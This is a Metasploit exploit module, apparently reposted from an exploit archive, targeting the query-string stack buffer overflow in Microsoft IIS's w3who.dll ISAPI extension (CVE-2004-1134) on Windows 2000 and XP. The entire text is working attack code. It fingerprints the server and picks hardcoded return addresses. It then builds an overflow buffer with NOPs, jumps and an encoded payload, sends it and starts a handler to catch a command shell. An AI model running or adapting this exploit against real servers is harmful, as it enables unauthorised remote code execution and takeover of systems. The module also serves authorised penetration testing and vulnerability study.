Microsoft IIS – ISAPI ‘w3who.dll’ Query String Overflow (Metasploit)
## # $Id: w3who_query.rb 9719 2010-07-07 17:38:59Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the w3who.dll ISAPI application. This vulnerability was discovered Nicolas Gregoire and this code has been successfully tested against Windows 2000 and Windows XP (SP2). When exploiting Windows XP, the payload must call RevertToSelf before it will be able to spawn a command shell. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9719 $', 'References' => [ [ 'CVE', '2004-1134' ], [ 'OSVDB', '12258' ], [ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ], [ 'BID', '11820' ] ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 632, 'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20", 'MinNops' => 128, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Automatic Detection', { }], ['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic ['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 6 2004')) register_options( [ OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]), ], self.class) end def auto_target res = send_request_raw( { 'uri' => datastore['URL'] }, -1) http_fingerprint({ :response => res }) # XXX: Needs custom body match # Was a vulnerable system detected? t = nil if (res and res.body =~ /Access Token/) case res.headers['Server'] when /5\.1/ t = targets[2] else t = targets[1] end end t end def check if auto_target return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit if (target.name =~ /Automatic/) mytarget = auto_target else mytarget = target end if not mytarget raise RuntimeError, "No valid target found" end buf = rand_text_english(8192, payload_badchars) buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04" buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V') buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V') buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded print_status("Sending request...") r = send_request_raw({ 'uri' => datastore['URL'], 'query' => buf }, 5) handler end end |